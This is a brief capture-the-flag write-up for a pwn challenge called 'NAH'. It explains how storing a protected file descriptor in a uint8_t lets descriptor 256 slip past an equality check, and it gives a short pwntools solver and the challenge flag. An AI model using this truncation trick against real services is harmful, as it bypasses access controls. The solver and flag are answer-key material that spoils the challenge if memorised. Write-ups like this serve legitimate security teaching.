Securinets ENIT Friendly CTF 2026 / Pwn WRITEUP
NAH
Jujutsu High sealed a special-grade cursed object behind its newest barrier. You are a Grade 4 sorcerer with no clearance, no technique, and somehow terminal access. The higher-ups are certain you cannot retrieve it. They are famously competent.
Walkthrough
Solution
The service stores the protected descriptor in a uint8_t, but later accepts the requested descriptor as a full integer. Registering 253 dummy objects consumes file descriptors 3 through 255. Opening the flag next returns descriptor 256, which is truncated to zero in protected_fd.
Request descriptor 256. It is not equal to the stored zero, yet read(256, ...) still targets the real flag descriptor and prints its contents.
Reference solver
The reference solver supplied with the writeup:
from pwn import *
p = process("./main")
p.send(b"1\n" * 253 + b"2\n3\n256\n4\n")
print(p.recvall().decode())Flag
SecurinetsENIT{n4h_1d_4uth0r1z3_fd_256}